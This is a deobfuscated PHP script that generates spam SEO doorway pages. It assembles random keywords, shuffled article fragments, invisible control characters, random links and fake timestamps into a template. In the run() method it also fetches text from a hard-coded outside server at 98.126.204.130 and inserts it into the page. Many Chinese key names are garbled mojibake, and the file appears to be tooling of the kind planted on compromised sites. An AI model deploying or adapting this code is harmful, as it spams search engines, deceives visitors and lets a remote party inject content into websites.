<?php

//decode by http://www.yunlu99.com/
@error_reporting(E_ERROR);
@date_default_timezone_set('Etc/GMT-8');
@ini_set('memory_limit', '2048M');
$app_Jack_Tpl = new app_Jack_Tpl();
$app_Jack_Tpl->loadTpl();
$app_Jack_kwd = file(APP_JACK_KEYWORD);
$app_Jack_atl = file(APP_JACK_ARTICLE);
$app_Jack_core = new app_Jack_Core($app_Jack_kwd, $app_Jack_atl);
$app_Jack_QQ = file(APP_JACK_QQ);
$app_Jack_core->run();
$app_Jack_var = $app_Jack_core->getStore();
if (APP_JACK_CACHED == 'cached') {
	return '<explode>' . app_Jack_Cache::encode($app_Jack_var) . '</explode>';
	exit;
}
$app_Jack_Tpl->extra($app_Jack_var);
return $app_Jack_Tpl->show();
class app_Jack_Tpl
{
	public $page;
	public $domain;
	public function loadTpl()
	{
		if (file_exists(APP_JACK_TEMPLATE)) {
			$this->page = file_get_contents(APP_JACK_TEMPLATE);
		} else {
			die;
		}
	}
	public function extra($_var_0)
	{
		if (!$this->page) {
			die("");
		}
		foreach ($_var_0 as $_var_1 => $_var_2) {
			$this->page = str_replace('{' . $_var_1 . '}', $_var_2, $this->page);
		}
		$this->page = str_replace('{domain}', "", $this->page);
	}
	public function show()
	{
		return $this->page;
	}
}
class app_Jack_Core
{
	public $kwd = "";
	public $atl = "";
	public $kwdCount = 0;
	public $atlCount = 0;
	public $config = array();
	public $store = array();
	public $linkstyle = "";
	function __construct($_var_3, $_var_4)
	{
		$this->kwd = $_var_3;
		$this->atl = $_var_4;
		$this->kwdCount = count($_var_3) - 1;
		$this->atlCount = count($_var_4) - 1;
	}
	public function run()
	{
		$_var_5 = mt_rand(0, $this->kwdCount);
		$this->store[''] = trim($this->kwd[$_var_5]);
		$this->store['ǿո'] = str_replace(' ', "", trim(file_get_contents('http://98.126.204.130:82//3.php')));//$this->kwd[$_var_5]));
                $this->store['ǿո1'] = str_replace(' ', "", trim(file_get_contents('http://98.126.204.130:82//3.php')));//$this->kwd[$_var_5]));
		if ($_var_5 == $this->kwdCount) {
			$_var_6 = $_var_5 - 2;
		} else {
			$_var_6 = $_var_5 + 1;
		}
		$this->store['¹ؼ'] = trim($this->kwd[$_var_6]);
		$this->store['Ϲؼ'] = trim($this->kwd[$_var_5 - 1]);
		for ($_var_7 = 0; $_var_7 <= 500; $_var_7++) {
			$this->store['ؼ' . $_var_7] = trim($this->kwd[mt_rand(0, $this->kwdCount)]);
		}
		for ($_var_7 = 0; $_var_7 <= 500; $_var_7++) {
			$this->store['' . $_var_7] = trim($this->atl[mt_rand(0, $this->atlCount)]) . app_Jack_String::symbol_mark();
		}
		for ($_var_7 = 0; $_var_7 <= 500; $_var_7++) {
			$this->store['ͼƬ' . $_var_7] = getImg();
		}
		for ($_var_7 = 0; $_var_7 <= 500; $_var_7++) {
			$this->store['ͼƬ' . $_var_7] = getImg2();
		}
		$this->store['ϵͳͼƬ'] = getImg();
		$_var_8 = array();
		for ($_var_7 = 0; $_var_7 < 30; $_var_7++) {
			$_var_9 = $_var_5 + $_var_7;
			if ($_var_9 >= $this->kwdCount) {
				$_var_9 = abs($this->kwdCount - $_var_9);
			}
			$_var_8[] = $_var_9;
			$_var_9 = abs($_var_5 - $_var_7);
			$_var_8[] = $_var_9;
		}
		array_unique($_var_8);
		shuffle($_var_8);
		for ($_var_7 = 0; $_var_7 <= 500; $_var_7++) {
			$this->store['عؼ' . $_var_7] = trim($this->kwd[$_var_8[$_var_7]]);
			$this->store['عؼ' . $_var_7] = App_GetLink();
		}
		$this->store['¹ؼ'] = $this->store['ؼ1'];
		$this->store['Ϲؼ'] = $this->store['ؼ2'];
		$this->store['¹ؼ'] = App_GetLink();
		$this->store['Ϲؼ'] = App_GetLink();
		for ($_var_7 = 0; $_var_7 <= 500; $_var_7++) {
			$this->store['ؼ' . $_var_7] = trim($this->kwd[mt_rand(0, $this->kwdCount)]);
		}
		for ($_var_7 = 0; $_var_7 <= 500; $_var_7++) {
			$this->store['' . $_var_7] = App_GetLink();
		}
		$this->store['' . $_var_7] = App_GetLink();
		for ($_var_7 = 1; $_var_7 <= 200; $_var_7++) {
			$_var_10 = trim($this->atl[mt_rand(1, $this->atlCount)]) . trim($this->atl[mt_rand(1, $this->atlCount)]);
			$this->store['' . $_var_7] = self::getSentence(trim($_var_10), 6, 12) . app_Jack_String::symbol_mark();
		}
		$this->store['ϱ'] = "";
		if (file_exists(APP_MIX_KWD_FILE)) {
			$_var_11 = file(APP_MIX_KWD_FILE);
			$_var_12 = $_var_11[mt_rand(1, count($_var_11) - 1)];
			$_var_12 = App_Jack_article_auto::insert_tags($_var_12, 1);
			$_var_12 = str_replace('{tag}', $this->store[''], $_var_12);
			$this->store['ϱ'] = trim($_var_12);
		}
		if (file_exists(APP_JACK_DES)) {
			$_var_13 = file(APP_JACK_DES);
			$_var_14 = trim($_var_13[mt_rand(0, count($_var_13) - 1)]);
			$_var_14 = str_replace('{subtitle}', $this->store[''], $_var_14);
			$_var_14 = str_replace('{}', $this->store[''], $_var_14);
			$_var_14 = str_replace('{ϱ}', $this->store[''], $_var_14);
			$this->store['ֶ'] = trim($_var_14);
		}
		
		if (file_exists(APP_JACK_QQ)) {
			$_var_13 = file(APP_JACK_QQ);
			
			$_var_14 = trim($_var_13[mt_rand(0, count($_var_13) - 1)]);
			
			$_var_14 = str_replace('{QQ123}', $this->store['QQ123'], $_var_14);
	
			$this->store['QQ123'] = trim($_var_14);
		}
		
		
		
		
		if (file_exists(APP_JACK_BIANLIANG)) {
			$_var_15 = file(APP_JACK_BIANLIANG);
			$_var_16 = count($_var_15) - 1;
			for ($_var_7 = 1; $_var_7 <= 500; $_var_7++) {
				$_var_17 = $_var_15[mt_rand(0, $_var_16)];
				$_var_17 = str_replace('{}', $this->store[''], $_var_17);
				$_var_17 = str_replace('{ϱ}', $this->store['ϱ'], $_var_17);
				$_var_10 = trim($this->atl[mt_rand(1, $this->atlCount)]) . trim($this->atl[mt_rand(1, $this->atlCount)]);
				$_var_18 = self::getSentence(trim($_var_10), 6, 12);
				$_var_17 = str_replace('{}', $_var_18, $_var_17);
				$this->store['' . $_var_7] = trim($_var_17);
			}
		}
		if (file_exists(APP_JACK_BIANLIANG_B)) {
			$_var_15 = file(APP_JACK_BIANLIANG_B);
			$_var_16 = count($_var_15) - 1;
			for ($_var_7 = 1; $_var_7 <= 500; $_var_7++) {
				$_var_17 = $_var_15[mt_rand(0, $_var_16)];
				$_var_17 = str_replace('{}', $this->store[''], $_var_17);
				$_var_17 = str_replace('{ϱ}', $this->store['ϱ'], $_var_17);
				$_var_10 = trim($this->atl[mt_rand(1, $this->atlCount)]) . trim($this->atl[mt_rand(1, $this->atlCount)]);
				$_var_18 = self::getSentence(trim($_var_10), 6, 12);
				$_var_17 = str_replace('{}', $_var_18, $_var_17);
				$this->store['B' . $_var_7] = trim($_var_17);
			}
		}
		if (file_exists(APP_JACK_BIANLIANG_C)) {
			$_var_15 = file(APP_JACK_BIANLIANG_C);
			$_var_16 = count($_var_15) - 1;
			for ($_var_7 = 1; $_var_7 <= 500; $_var_7++) {
				$_var_17 = $_var_15[mt_rand(0, $_var_16)];
				$_var_17 = str_replace('{}', $this->store[''], $_var_17);
				$_var_17 = str_replace('{ϱ}', $this->store['ϱ'], $_var_17);
				$_var_10 = trim($this->atl[mt_rand(1, $this->atlCount)]) . trim($this->atl[mt_rand(1, $this->atlCount)]);
				$_var_18 = self::getSentence(trim($_var_10), 6, 12);
				$_var_17 = str_replace('{}', $_var_18, $_var_17);
				$this->store['C' . $_var_7] = trim($_var_17);
			}
		}
		for ($_var_19 = 1; $_var_19 <= 30; $_var_19++) {
			$this->store['' . $_var_19] = mt_rand(500000, 9999999999);
		}
		$this->store['ʱ'] = date('Y-m-d H:i:s', mt_rand(time() - 1 * 24 * 3600, time()));
		$this->store['ʱ'] = date('Y-m-d H:i:s', mt_rand(time(), time() + 1 * 24 * 3600));
		$this->store['ʱ'] = date('Y-m-d');
		$this->store['ʱ׼'] = date('Y-m-d H:i:s');
		$this->store['׼ʱ'] = date('Y-m-d H:i:s');
		$this->store['ʱ'] = date('Y-m-d H:i:s', mt_rand(time() - 1 * 24 * 3600, time()));
		$_var_20 = array();
		for ($_var_7 = 0; $_var_7 < 10; $_var_7++) {
			$_var_20[] = mt_rand(time() - 1 * 24 * 3600, time());
		}
		sort($_var_20);
		for ($_var_7 = 1; $_var_7 <= 10; $_var_7++) {
			$_var_21 = $_var_7 - 1;
			$this->store['׼ʱ' . $_var_7] = date('Y-m-d H:i:s', $_var_20[$_var_21]);
		}
		$this->store[''] = App_GetSelf();
		$this->store['ʱ'] = date('Ymd');
		$this->store['ľ׼ʱ'] = date('Ymd H:i:');
		$_var_22 = new App_Jack_article_auto();
		$_var_22->init($this->atl, $this->atlCount);
		$_var_23 = $_var_22->autoArticle();
		$this->store['ϵͳ2'] = $_var_23;
		$this->store['ϵͳ2'] = $_var_22->getDes($this->store[''], $this->store['¹ؼ']);
		$this->store['ϵͳ2'] = str_replace('{title}', $this->store[''], $this->store['ϵͳ2']);
		$this->store['ϵͳ2'] = str_replace('{backword}', $this->store['Ϲؼ'], $this->store['ϵͳ2']);
		$this->store['ϵͳ2'] = str_replace('{nextword}', $this->store['¹ؼ'], $this->store['ϵͳ2']);
		$_var_24 = array();
		$_var_24[] = $this->store[''];
		$_var_24[] = $this->store['¹ؼ'];
		$this->store['ϵͳ2'] = $_var_22->getDes($this->store[''], $this->store['¹ؼ']);
		$this->store['ϵͳ2'] = str_replace('{title}', $this->store[''], $this->store['ϵͳ2']);
		$this->store['ϵͳ2'] = str_replace('{backword}', $this->store['Ϲؼ'], $this->store['ϵͳ2']);
		$this->store['ϵͳ2'] = str_replace('{nextword}', $this->store['¹ؼ'], $this->store['ϵͳ2']);
		$this->store['̳'] = '{title}{rand1}{nexttitle}';
		$this->store['̳'] = str_replace('{title}', $this->store[''], $this->store['̳']);
		$this->store['̳'] = str_replace('{rand1}', $this->store['1'], $this->store['̳']);
		$this->store['̳'] = str_replace('{nexttitle}', $this->store['Ϲؼ'], $this->store['̳']);
	}
	public function getSentence($_var_25, $_var_26, $_var_27)
	{
		$_var_25 = app_Jack_String::filter_mark($_var_25);
		$_var_28 = app_Jack_String::abslength($_var_25);
		$_var_29 = rand(0, $_var_28 - 10);
		if ($_var_28 < $_var_27) {
			return $_var_25;
		}
		$_var_30 = app_Jack_String::substr($_var_25, $_var_29, mt_rand($_var_26, $_var_27));
		if (app_Jack_String::strlen($_var_25) == 0) {
			return $_var_25;
		}
		return $_var_30;
	}
	public function cut($_var_31, $_var_32, $_var_33)
	{
		$_var_34 = explode($_var_32, $_var_31);
		$_var_34 = explode($_var_33, $_var_34[1]);
		return $_var_34[0];
	}
	public function getStore()
	{
		return $this->store;
	}
}
class App_Jack_article_auto
{
	public $title = "";
	public $nextTitle = "";
	public $backTitle = "";
	public $articleDb = "";
	public $articleCount = "";
	public $des = "";
	public $content = "";
	public function init($_var_35, $_var_36)
	{
		$this->articleDb = $_var_35;
		$this->articleCount = $_var_36;
	}
	public function autoArticle($_var_26 = 3, $_var_27 = 3)
	{
		$_var_37 = $this->articleDb;
		$_var_38 = $this->articleCount;
		shuffle($_var_37);
		$_var_39 = "";
		$_var_40 = array();
		$_var_41 = array();
		$_var_42 = mt_rand(APP_JACK_MIN_PAR, APP_JACK_MAX_PAR);
		for ($_var_7 = 0; $_var_7 < $_var_42; $_var_7++) {
			$_var_43 = rand(APP_JACK_MIN, APP_JACK_MAX);
			$_var_44 = "";
			for ($_var_45 = 1; $_var_45 < $_var_43 + 1; $_var_45++) {
				$_var_44 .= trim($_var_37[mt_rand(0, $_var_38)]) . app_Jack_String::symbol_mark();
			}
			$_var_41[$_var_7] = $_var_44;
		}
		$_var_41[0] = self::insert_start($_var_41[0]);
		for ($_var_7 = 1; $_var_7 < $_var_42; $_var_7++) {
			$_var_41[$_var_7] = self::insert_tags($_var_41[$_var_7], 2);
		}
		$_var_46 = array('{title}', '{backword}', '{nextword}');
		$_var_41[0] = str_replace('{tag}', '{title},{nextword}', $_var_41[0]);
		$this->content = $_var_41[0];
		for ($_var_7 = 1; $_var_7 < $_var_42; $_var_7++) {
			$_var_38 = substr_count($_var_41[$_var_7], '{tag}');
			for ($_var_45 = 0; $_var_45 < $_var_38 + 1; $_var_45++) {
				$_var_41[$_var_7] = preg_replace('/{tag}/', $_var_46[mt_rand(0, 2)], $_var_41[$_var_7], 1);
			}
		}
		$_var_47 = "";
		foreach ($_var_41 as $_var_48) {
			$_var_47 .= '<p>' . $_var_48 . "</p>\n";
		}
		return $_var_47;
	}
	public function getDes($_var_49, $_var_50)
	{
		$this->content = str_replace('{title}', $_var_49, $this->content);
		$this->content = str_replace('{nextword}', $_var_50, $this->content);
		$_var_51 = mt_rand(50, 80);
		$_var_51 += app_Jack_String::strlen($_var_49);
		$_var_51 += app_Jack_String::strlen($_var_50);
		return app_Jack_String::substr($this->content, 0, $_var_51 + 8);
	}
	public function insert_start($_var_25)
	{
		$_var_52 = 1;
		$_var_53 = '{tag}';
		$_var_28 = app_Jack_String::strlen($_var_25);
		for ($_var_54 = 0; $_var_54 < $_var_52; $_var_54++) {
			$_var_55[] = mt_rand(0, 30);
		}
		$_var_55 = array_unique($_var_55);
		sort($_var_55);
		$_var_54 = 0;
		$_var_56 = "";
		foreach ($_var_55 as $_var_2) {
			$_var_56 .= app_Jack_String::substr($_var_25, $_var_54, $_var_2 - $_var_54) . $_var_53;
			$_var_54 = $_var_2;
		}
		$_var_56 .= app_Jack_String::substr($_var_25, $_var_54, $_var_28 - $_var_54);
		return $_var_56;
	}
	public function insert_tags($_var_25, $_var_52)
	{
		$_var_53 = '{tag}';
		$_var_28 = app_Jack_String::strlen($_var_25);
		for ($_var_54 = 0; $_var_54 < $_var_52; $_var_54++) {
			$_var_55[] = mt_rand(0, $_var_28);
		}
		$_var_55 = array_unique($_var_55);
		sort($_var_55);
		$_var_54 = 0;
		$_var_56 = "";
		foreach ($_var_55 as $_var_2) {
			$_var_56 .= app_Jack_String::substr($_var_25, $_var_54, $_var_2 - $_var_54) . $_var_53;
			$_var_54 = $_var_2;
		}
		$_var_56 .= app_Jack_String::substr($_var_25, $_var_54, $_var_28 - $_var_54);
		return $_var_56;
	}
}
class app_Jack_Cache
{
	public function write($_var_31, $_var_57)
	{
		return file_put_contents($_var_57, self::encode($_var_31));
	}
	public function read($_var_57)
	{
		$_var_39 = file_get_contents($_var_57);
		return self::decode($_var_39);
	}
	public function encode($_var_31)
	{
		return base64_encode(gzcompress(serialize($_var_31)));
	}
	public function decode($_var_31)
	{
		return unserialize(gzuncompress(base64_decode($_var_31)));
	}
}
class app_Jack_String
{
	public function filter_mark($_var_58)
	{
		$_var_24 = array('', ';', '', '', '', '', '', '', '', '', '|', '', '', '', '=', '-', '~', '', '', '!', '', '-', '(', ')', '', '', '*', '&', '', '^', '$', '@', '#');
		if (trim($_var_58) == '') {
			return '';
		}
		$_var_58 = str_replace($_var_24, "", $_var_58);
		$_var_58 = str_replace(' ', "", $_var_58);
		return trim($_var_58);
	}
	public function symbol_mark()
	{
		$_var_59 = array("\x07", "\x07", "\x08", "\x08", "\x05", "\x05");
		$_var_60 = "";
		for ($_var_54 = 0; $_var_54 < rand(2, 5); $_var_54++) {
			$_var_60 .= $_var_59[rand(0, 5)];
		}
		return trim($_var_60);
	}
	public function substr($_var_25, $_var_61 = 0, $_var_51 = 0)
	{
		$_var_62 = APP_JACK_CHARSET;
		$_var_63 = $_var_62 == 'UTF-8' ? 3 : 2;
		for ($_var_64 = $_var_54 = 0; $_var_54 < $_var_61; ++$_var_54) {
			$_var_64 += ord($_var_25[$_var_64]) < 128 ? 1 : $_var_63;
			if (@$_var_25[$_var_64] == '') {
				return '';
			}
		}
		for ($_var_54 = 0, $_var_65 = $_var_64; $_var_54 < $_var_51; ++$_var_54) {
			@($_var_65 += @ord($_var_25[$_var_65]) < 128 ? 1 : $_var_63);
		}
		return substr($_var_25, $_var_64, $_var_65 - $_var_64);
	}
	public function iconvStr($_var_32, $_var_66, $_var_67)
	{
		if (is_string($_var_67)) {
			if (function_exists('mb_convert_encoding')) {
				return mb_convert_encoding($_var_67, $_var_66, $_var_32);
			} else {
				if (function_exists('iconv')) {
					return iconv($_var_32, $_var_66, $_var_67);
				} else {
					return $_var_67;
				}
			}
		}
	}
	public function strlen($_var_25)
	{
		if (APP_JACK_CHARSET == 'UTF-8') {
			return self::strlen_utf8($_var_25);
		} else {
			return self::strlen_gbk($_var_25);
		}
	}
	public function strlen_gbk($_var_25)
	{
		$_var_68 = strlen($_var_25);
		$_var_54 = 0;
		while ($_var_54 < $_var_68) {
			if (preg_match('/^[' . chr(0xa1) . '-' . chr(0xff) . ']+$/', $_var_25[$_var_54])) {
				$_var_54 += 2;
			} else {
				$_var_54 += 1;
			}
		}
		return $_var_54 / 2;
	}
	public function strlen_utf8($_var_25)
	{
		$_var_54 = 0;
		$_var_38 = 0;
		$_var_68 = strlen($_var_25);
		while ($_var_54 < $_var_68) {
			$_var_69 = ord($_var_25[$_var_54]);
			$_var_38++;
			$_var_54++;
			if ($_var_54 >= $_var_68) {
				break;
			}
			if ($_var_69 & 0x80) {
				$_var_69 <<= 1;
				while ($_var_69 & 0x80) {
					$_var_54++;
					$_var_69 <<= 1;
				}
			}
		}
		return $_var_38;
	}
	public function abslength($_var_25)
	{
		if (empty($_var_25)) {
			return 0;
		}
		if (function_exists('mb_strlen')) {
			return mb_strlen($_var_25, APP_JACK_CHARSET);
		} else {
			if (APP_JACK_CHARSET == 'UTF-8') {
				return self::strlen_utf8($_var_25);
			} else {
				return self::strlen_gbk($_var_25);
			}
			return $_var_45;
		}
	}
}
function readfiles($_var_31)
{
	$_var_70 = $_var_31;
	$_var_71 = fopen($_var_70, 'r');
	if ($_var_71) {
		while (!feof($_var_71)) {
			$_var_72 = fread($_var_71, 100000);
		}
		fclose($_var_71);
	}
	return $_var_72;
}